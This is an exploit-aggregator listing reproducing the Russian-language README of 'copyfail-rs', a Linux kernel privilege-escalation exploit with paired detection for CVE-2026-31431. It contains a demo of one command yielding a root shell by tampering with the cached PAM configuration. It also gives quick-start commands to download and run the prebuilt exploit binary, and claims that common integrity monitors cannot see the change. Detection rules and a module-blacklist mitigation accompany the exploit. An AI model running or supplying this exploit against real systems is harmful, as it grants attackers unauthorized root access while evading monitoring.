Sploitus

Exploit for copyfail-rs

kitploit · 2026-08-27

Exploit Code

MARKDOWN169 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DIEMOEVE-COPYFAIL-RS
# copyfail-rs

> Мультивекторный PoC + парное обнаружение для CVE-2026-31431 (CopyFail). Включает новый вектор обхода аутентификации PAM, которого нет ни в одном другом публичном PoC. Режим обнаружения ловит то, что AIDE / Wazuh / OSSEC / Tripwire структурно не могут.

Один статический бинарник. ~108 КБ. `no_std` musl.

## Демо

root@kitploit:~
    
    
    noot@host:~$ ./copyfail-rs --mode exploit
    [sudo] password for noot:
    root@host:~# id
    uid=0(root) gid=0(root) groups=0(root)
    root@host:~#
    

Одна команда. Root-шелл. PAM-киллшот под капотом (одиночная запись 4 байт в /etc/pam.d/common-auth), PTY-сброс в root через sudo с отброшенным паролем. Строка `[sudo] password for noot:` мелькает на мгновение — sudo всегда выводит это приглашение; бинарник подаёт ему любую строку, и сбой pam_unix каскадно проходит через закомментированный pam_deny.so к pam_permit.so → root.

root@kitploit:~
    
    
    $ ./copyfail-rs --mode detect --scan
    === copyfail-rs detection: --scan ===
    
    TAMPERED (1):
      /etc/pam.d/common-auth [ext4]
        cache:  23c4f1ee...  ← что реально загружено (мутировано)
        disk:   117dab1c...  ← что видят AIDE / Wazuh / Tripwire (чисто)
    

Вот и весь проект. Диск чист, кэш мутирован. Каждый публичный FIM слеп. Этот инструмент — нет.

## Быстрый старт (без сборки)

Готовые статические бинарники на релизе v0.1.0. Выберите свою архитектуру, скачайте, запустите.

root@kitploit:~
    
    
    # x86_64 (большинство ноутбуков + облачные серверы)
    curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/copyfail-x86_64-musl
    chmod +x copyfail-x86_64-musl
    ./copyfail-x86_64-musl --mode exploit
    

Другие архитектуры:

Архитектура| Файл  
---|---  
ARM64 (aarch64)| `copyfail-aarch64-musl`  
ARMv7 (Raspberry Pi 3+)| `copyfail-armv7-musleabihf`  
  
Проверка целостности:

root@kitploit:~
    
    
    curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/checksums.txt
    sha256sum -c checksums.txt
    

Статические musl-бинарники, без зависимостей времени выполнения, работают на любом Linux.

## Почему FIM слеп

Мутация page cache. Нет записи через VFS. Нет грязной страницы. Нет события inotify. Периодическое повторное сканирование соревнуется с вытеснением.

AIDE/Wazuh/OSSEC/Tripwire/Samhain читают через буферизованный ввод-вывод → page cache → хешируют мутированные байты как истину. Или после вытеснения хешируют чистый диск → «никаких изменений никогда не было».

Для обнаружения нужен O_DIRECT (пропуск кэша) + буферизованное чтение (попадание в кэш) + разница хешей. Несовпадение = сигнатура CopyFail. Это и есть `--scan`.

## Векторы

Автовыбор: `--vector auto` (по умолчанию). Ранжирует pam > su > passwd по скрытности. Откатывается при сбое.

## Обнаружение

`--json` везде для приёма в SIEM.

## Артефакты обнаружения

`detection/`:

  * `sigma/copyfail-af-alg.yml`, Sigma-правило, закиньте в свой SIEM
  * `auditd/copyfail.rules`, `augenrules --load`
  * `ebpf/copyfail-trace.bt`, однострочник bpftrace
  * `apparmor/copyfail-block.profile`, правило запрета AppArmor 3.0+
  * `mitigation/disable-algif.sh`, чёрный список modprobe + предупреждение `=y`



## Смягчение

root@kitploit:~
    
    
    echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
    sudo rmmod algif_aead
    

Или основная ветка ядра `a664bf3d603d` (апрель 2026). На данный момент: только Debian Sid/Forky выпустили. Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle — все уязвимы.

Оговорка: `CONFIG_CRYPTO_USER_API_AEAD=y` (встроенный) молча обходит modprobe. `--check` предупреждает.

После эксплуатации + смягчения: мутированный кэш сохраняется до перезагрузки. Смягчение блокирует НОВЫЕ эксплойты, но не отменяет прошлые.

## Сборка

root@kitploit:~
    
    
    cargo build --release --target x86_64-unknown-linux-musl
    

Цель| Размер  
---|---  
x86_64-musl| 108 КБ  
aarch64-musl| 96 КБ  
armv7-musleabihf| 86 КБ  
  
`no_std`. Без аллокатора. Без зависимостей времени выполнения. Один статический бинарник.

Готовые артефакты и SHA256-суммы прикреплены к релизам GitHub.

## Использование

См. `docs/usage.md` для конкретных примеров на один экран для каждого режима (exploit auto/list/all, detect check/scan/baseline/diff/watch/hunt).

Для более развёрнутой повествовательной версии этого README (больше контекста, глубже изложение) см. `BLOG.md`.

## Модель угроз

См. `docs/threat-model.md`.

## Сравнение

## Авторизация и этика

Только собственное оборудование. Нет CLI-шлюза (театр безопасности). README + LICENSE = рамки.

Режим обнаружения — только чтение. Безопасен на проде.

Режим эксплуатации мутирует page cache ядра. Только в RAM, но относитесь как к разрушительному. Блокирует аутентификацию для любого последующего вызывающего.

## Благодарности

CVE-2026-31431 раскрыта Theori / Xint 2026-04-29 (разбор, блог Xint). Предыдущие публичные PoC:

  * theori-io/copy-fail-CVE-2026-31431 (Python, 732 байта, вектор su)
  * tgies/copy-fail-c (C с nolibc, векторы su + passwd, переносимый)
  * badsectorlabs/copyfail-go (статический Go-бинарник, вектор su)



Этот проект (`copyfail-rs`): добавляет вектор обхода аутентификации PAM, двухрежимное обнаружение, артефакты IR.

## Лицензия

MIT.

## Ссылки

  * https://copy.fail/
  * Исправление Linux: `a664bf3d603d`
  * Нижняя граница: `72548b093ee3` (4.14, авг 2017)
  * Аналог: Dirty Pipe (CVE-2022-0847)